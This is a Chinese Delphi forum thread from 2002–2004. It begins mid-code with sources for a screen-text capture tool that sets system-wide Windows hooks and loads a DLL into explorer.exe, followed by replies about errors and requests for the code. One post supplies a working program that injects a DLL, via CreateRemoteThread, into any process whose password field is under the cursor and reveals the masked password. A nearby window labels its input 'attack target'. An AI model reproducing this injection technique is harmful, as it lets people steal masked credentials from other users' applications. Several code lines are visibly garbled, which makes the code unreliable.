HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;
procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;
procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;
procedure DllEntryPoint(fdwReason
WORD);begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;
exports run;
begin
//建立内存映象文件，用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
//-----------------------------------------------
library Install;
uses windows,messages,sysutils,tlhelp32;
{$r *.res}
const
HookMemFileName='HookMemFile3.DTA';
type
trun=procedure;stdcall;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Receiver:integer;
busy:boolean;
hInstance:integer;
selfhand:integer;
LibHandle:integer;
CurPath:string;
end;
PShared=^TShared;
var
hMain:integer;
Msg:TMsg;
wClass:TWndClass;
MemFile:THandle;
Shared
Shared;prun:trun=nil;
function tfun(lp
ointer):lresult;stdcall;begin
with shared^ do
if LibHandle=0 then
begin
LibHandle:=LoadLibrary(pchar(shared^.CurPath+'GetKey.dll'));
if libhandle<>0 then
begin
if @prun=nil then
begin
prun:=GetProcAddress(LibHandle,'run');
if @prun<>nil then prun;
end;
end;
end;
result:=0;
end;
procedure FindProcessName;
var
lppe:tprocessentry32;
sshandle:thandle;
found:boolean;
tid:dword;
begin
sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
found:=process32first(sshandle,lppe);
while found do
begin
if (getcurrentprocessid=lppe.th32ProcessID)
and (strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('EXPLORER.EXE'))=0) then
begin
shared^.busy:=true;
CreateThread(nil,0,@tfun,nil,0,tid);
end;
if strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('WINEXEC.EXE'))=0 then
begin
Shared^.CurPath:=ExtractFilePath(lppe.szExefile);
end;
found:=process32next(sshandle,lppe);
end;
CloseHandle(sshandle);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if uMessage=WM_lbuttonup then
begin
if findwindow('GetKey',nil)<>0 then
begin
// postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
end;
if shared^.busy=false then
begin
findProcessName;
end;
end;
end;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs
MSG;hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs
CWPSTRUCT;hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;
procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;
procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
halt;
end;
end;
end;
procedure Intro;
begin
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
end;
procedure DllEntryPoint(fdwReason
WORD);begin
case fdwReason of
DLL_PROCESS_DETACH:Extro;
end;
end;
procedure run;stdcall;
begin
wClass.lpfnWndProc:= @WindowProc;
wClass.hInstance:= hInstance;
wClass.lpszClassName:= 'MyHost-Install';
RegisterClass(wClass);
hmain:=CreateWindowEx(ws_ex_toolwindow,wClass.lpszClassName,'MyHost-Install',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
Shared^.selfhand:=hmain;
Shared^.busy:=false;
SetHook(true);
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
exports run;
begin
Intro;
DLLProc:=@DllEntryPoint;
end.
//------------------------------------------------------------
Program WinExec;
uses windows,messages,sysutils;
{$r *.res} //使用资源文件
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
hLib:integer;
end;
var
Win:TWin; //结构变量
hRun
rocedure;stdcall;//
procedure runhookfun;
begin
win.hlib:=loadlibrary('install.dll');
if win.hlib=0 then messagebox(win.hmain,'error','',0);
hrun:=GetProcAddress(win.hlib,'run');
if @hrun<>nil then hrun;
// freelibrary(win.hlib);
end;
procedure runhook;
var tid:integer;
begin
createthread(nil,0,@runhookfun,nil,0,tid);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:halt;
end;
end;
//主程序的执行函数
procedure runme;stdcall;
begin
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='WinExec';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'WinExec',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
runhook;
while(GetMessage(win.Msg,win.hmain,0,0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;
begin
runme; //开始运行主程序
end.
jingtao (2002-05-26 16:32:00)
还有WIN2K下查看*密码的:
program password;
uses
windows,messages;
{$R *.RES}
var
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hEditEmail, //e-mail编辑
hLabelEmail //e-mail提示
:integer; //句柄类型
procedure WriteCaption(hwnd:hwnd;text
char);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;procedure ReadCaption(hwnd:hwnd;text
char);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;//主程序结束
procedure ShutDown;
begin
DeleteObject(hFont);
UnRegisterClass(wClass.lpszClassName,hInst);
ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateEdit(name
char;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_PASSWORD or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;function CreateLabel(name
char;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;function CreateMain(name
char;x1,y1,x2,y2:integer):hwnd;begin
hInst:=GetModuleHandle(nil);
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程，类似于 C语言 中的 WinMain()
begin
handle:=CreateMain('exename',10,10,320,135);
hEditEmail:=CreateEdit('njhhack@263.net',60,4,174,20);
hLabelEmail:=CreateLabel('攻击目标:',4,8,54,24);
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hEditEmail,WM_SETFONT,hFont,0);
SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
//--------------------------------------------------------------
Program Pass2K;
uses windows,messages,sysutils;
var
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst,Handle,hParent:thandle;
hLong:longint;
hPoint:TPOINT;
//
procedure run2;
var
hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;
cb,pcb:dword;
pfnStartAddr,pszLibFileName,pszLibFileRemote
char;begin
cb:=100;
GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
getmem(pszLibFileName,cb);
strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'/dll01.dll'));
pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
Freemem(pszLibFileName);
hkernel32:=GetModuleHandle('Kernel32.dll');
pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');
hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
WaitForSingleObject(hRemoteThread,INFINITE);
TerminateThread(hRemoteThread,0);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_DESTROY:halt;
WM_TIMER:
begin
GetCursorPos(hPoint);
hParent:=WindowFromPoint(hPoint);
hLong:=GetWindowLong(hParent,GWL_STYLE);
if (hLong and ES_PASSWORD)=ES_PASSWORD then run2;
end;
end;
end;
//
begin
hInst:=GetModuleHandle(nil);
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainHostClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
settimer(handle,0,200,NIL);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
//-------------------------------------------------------------------------------
#include <windows.h>
BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
POINT hPoint;
HWND hParent;
char str[100];
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
GetCursorPos(&hPoint);
hParent=WindowFromPoint(hPoint);
GetWindowText(hParent,str,100);
MessageBox(0,str,"",0);
FreeLibrary(hDLLInst);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
张无忌 (2002-05-26 16:34:00)
收藏先[8D][
][] datoncg (2002-05-26 21:27:00)
太累
base7 (2002-05-27 11:40:00)
to jingtao:
有没有能够看IE浏览器下的星号的代码？
虽然IE中其实是明码，但从提取信息和显示的角度将，编程难度会比windows的密码高得多
kthy (2002-05-27 13:37:00)
编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”
kisse (2002-05-27 15:39:00)
哈哈不错词取出来了
tokey (2002-05-27 19:49:00)
wonderful
向各位高人们学习
tfnmao (2002-05-27 20:44:00)
收藏
tayancom (2002-05-28 13:20:00)
>编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”
Can not register class CHILD 87
我也是出現這個錯誤..
繁體win98se , delphi6 sp2
huiyugan (2002-05-28 13:28:00)
请阅读第一贴以及源代码。
Ehom (2002-05-28 13:38:00)
API拦截的太少了(反编译某产品得来的)
TextOutA
TextOutW
ExtTextOutA
ExtTextOutW
DrawTextA
DrawTextW
DrawTextExA
DrawTextExW
TabbedTextOutA
TabbedTextOutW
PolyTextOutA
PolyTextOutW
GetTextExtentExPointA
GetTextExtentExPointW
GetTextExtentPoint32A
GetTextExtentPoint32W
GetTextExtentPointA
GetTextExtentPointW
huiyugan (2002-05-28 13:42:00)
同意，
请阅读第一贴
wen (2002-05-28 14:15:00)
多謝
徐永进 (2002-05-28 18:18:00)
阿甘!
呵呵,看到你给我的短信,不知道怎么搞一个短信给你!呵呵
你不是跳槽了吗?怎么样?给小日本干没有意思,不知道你现在怎么样阿?我现在的mail
jokeyxu@sina.com
huiyugan (2002-05-28 22:26:00)
对头我现在已经辞职了，就今天，
感觉精神爽多了。
嗯，收到mail的各位，有人给我介绍工作吗？
huiyugan (2002-05-29 13:40:00)
辞职了，
^_^，我今天在家休息了。
好放松哦。
kingkong (2002-06-02 8:19:00)
to:huiyugan
在Win98下运行报错，是怎么回事，请教.
zwhc (2002-06-02 8:40:00)
我估计你是个超级球迷，请不到假，索性辞职以看球
huiyugan (2002-06-02 16:48:00)
to zwhc:
你真才是超级球迷，这招都想得出来。
呵呵，实际上，我穷得连电视都买不起，
所以只好想上网在线看啊，不过猫实在是太慢了。
不过，昨天我发现一个好得看球的地方，商场啊，
啥好电视机都以放球赛作广告，还有空调啊。
to KinKong:
我说过了，我发的这个东东只运行在2000下。
哪天俺有时间再搞一个98的版本吧。
kingkong (2002-06-05 9:04:00)
to:huiyugan
在Win98下运行报错，是怎么回事，请教.
huiyugan (2002-06-05 19:11:00)
To KingKong:
您好，关于这个问题，请您阅读第一贴。
******** 此代码运行于Win2000下 **********
******** 需要稍作修改方可用于98。********
shellapi (2002-06-06 8:48:00)
甘，不知道为什么，我自己编译出来的dll， DisableMouseHook 这里就有问题，
程序一退出，我的ie什么的也跟着去了，还有你上次给我看的那插入进程的例子，
也一样。 我用xp+d6，我哥哥的情况和我也一样，不知道其他人会不会出现这样的情况，
但很奇怪，我用你编译出来的dll就不会。你用什么环境？
哦，忘了不该叫你甘的，不过你wife不会来这里吧，呵呵，还有听说你最近失业了，
同情 + 遗憾。
kingkong (2002-06-06 12:36:00)
to:huiyugan
"需要稍作修改方可用于98",我就是想知道修改什么地方,这太重要了,谢谢
kouchun (2002-06-06 14:44:00)
good
huiyugan (2002-06-06 16:27:00)
To ShellAPI:
是我的失误了。
我使用的用的Win2000 (no SP， build 2195) + Delphi5(Build 5.62).
我wife可能会来这里的，因为我的帐号密码都知道。
偶是失业了，明天去华为报到了，我估计我的薪水涨不了多少。
我原来日本最大的软件公司在宁的一家合资企业工作(Fujitsu)，但感觉公司的管理
等等有些问题，你有机会看看这一期的 程序员 杂志就知道了，我们公司的很多东西
和上面讲的差不多，不过据说么改革了，但我等不了。所以决定走了。
我觉得人应该多一些经历。虽然我会失去什么。华为也是一个大家有争议的公司。
不过我还是想去试试。我并不是毕业于计算机专业，我毕业的时候都不知道华为。
To KingKong:
既然这件事情对你很重要，我想我就有责任改成98下的了。
不过我现在时间很紧张，估计在2－3周内没有时间了，我去新的公司报道了。
你也知道，这个公司的工作时间很长的。
huiyugan (2002-07-07 10:55:00)
to kingkong and friends:
I am 很忙，现在还不在家里，所以这些东西都没法做。
抱歉。
并且我回到南京后仍然会很忙，所以估计要很长时间之后我才会改了。
tianshu700 (2002-07-07 17:11:00)
我喜欢
huiyugan (2002-08-24 18:35:00)
wangzheking (2002-11-20 17:39:00)
上述代碼是否可以完成從屏幕中抓取某特定字符串位置的功能？
humanc2d4 (2002-12-05 16:52:00)
也给我一份！
humanyixiaobing@163.com[
[8D] wuzjy0001 (2002-12-05 21:09:00)
up
hong2002 (2002-12-05 21:44:00)
也给我一份！
fong_waihong@163.net
ssss__0002 (2002-12-14 13:48:00)
up
ego (2002-12-14 13:53:00)
谢谢！
DDMike (2002-12-20 9:34:00)
up
原野飞侠 (2002-12-20 9:43:00)
下载地址进不去 http://delphi.mychangshu.com/dispdoc.asp?id=988
原野飞侠 (2003-01-05 14:24:00)
T
huiyugan (2003-01-10 21:42:00)
大家可以去www.playicq.com上去下载
原来的地址不可用
ego (2003-04-04 16:54:00)
huiyugan:
我试了一下,发现在窗口中取出的英文都是乱码,但中文就正常,这是为什么?
wfh7710 (2003-04-07 12:09:00)
我靠，各位我发现一本叫《Delphi下深入核心编程》，这本书提供了Win9x和Win2000/XP实现屏幕取词的方法和代码。
并且讲述了线程的同步，系统钩子的深入分析，读写物理磁盘数据，读取内存，内存共享，直接操作断口等。
satanmonkey (2003-04-07 13:57:00)
收藏！
好东东
wcy12td (2003-04-07 21:02:00)
to wfh7710
既然是好东西，那肯定应该拿出来让大家共享啊，
任豆豆 (2003-04-18 13:14:00)
Happy
ghg_qh (2003-05-04 23:36:00)
up
Olmany (2003-05-05 2:17:00)
up
lgxyy (2003-05-13 17:43:00)
up
wenjinshan (2003-05-23 14:24:00)
屏幕取词的完整解决方案见我的《delphi深入windows核心编程》一书，
解决了IE、win98下的高技术难题,支持windows98/2000/xp,
我的主页http://wenjinshan.yeah.net
wfzha (2003-05-23 22:25:00)
多谢
datoncg (2003-05-24 9:39:00)
wenjinshan？？？你在这儿做广告呀？没钱!?
xp2000 (2003-05-24 9:41:00)
多谢！！
jingtao (2003-05-24 17:13:00)
文人相轻，想不到程序员也如此。。。。。。
不遭人嫉是庸才，老温继续。
whbest (2003-07-30 14:26:00)
在一本好象是delphi核心核技术的书中有屏幕取词的原程序和说明。
mpsoft (2003-09-26 12:22:00)
这里也有代码下载
delphi源码下载站 http://www.8366.com
angui147 (2003-10-10 11:08:00)
up
代码:
hongxing_dl (2003-11-07 17:40:00)
一年前我就想做，但觉得太难了，所以……嘿嘿，现在好了，有现成的……
谢谢……值得学习
redleaf_wgm (2003-11-19 14:28:00)
OK!好东东！
555yhfw (2004-06-04 9:53:44)
请识问可不可以给我一个插入进程的例子，要能插入系统进程最好了，比如EXPLORER。EXE，谢谢，
xzhifei (2004-06-04 9:59:28)
楼上的，这是什么年代的贴子，你有没有搞错！！！
B
buxiaolei
Unregistered / Unconfirmed
GUEST, unregistred user!
谢谢你的答案 我现在做的小阅读软件 就是 在一个文本框里 的陌生单词能自己注释
以后每次浏览时都可以显示注释 交个朋友 qq85744545
以后每次浏览时都可以显示注释 交个朋友 qq85744545
B
buxiaolei
Unregistered / Unconfirmed
GUEST, unregistred user!
weiliu 你身边有这样的原代码没 可不可以给我 发个
谢谢 mrbu_068@yahoo.com.cn
谢谢 mrbu_068@yahoo.com.cn
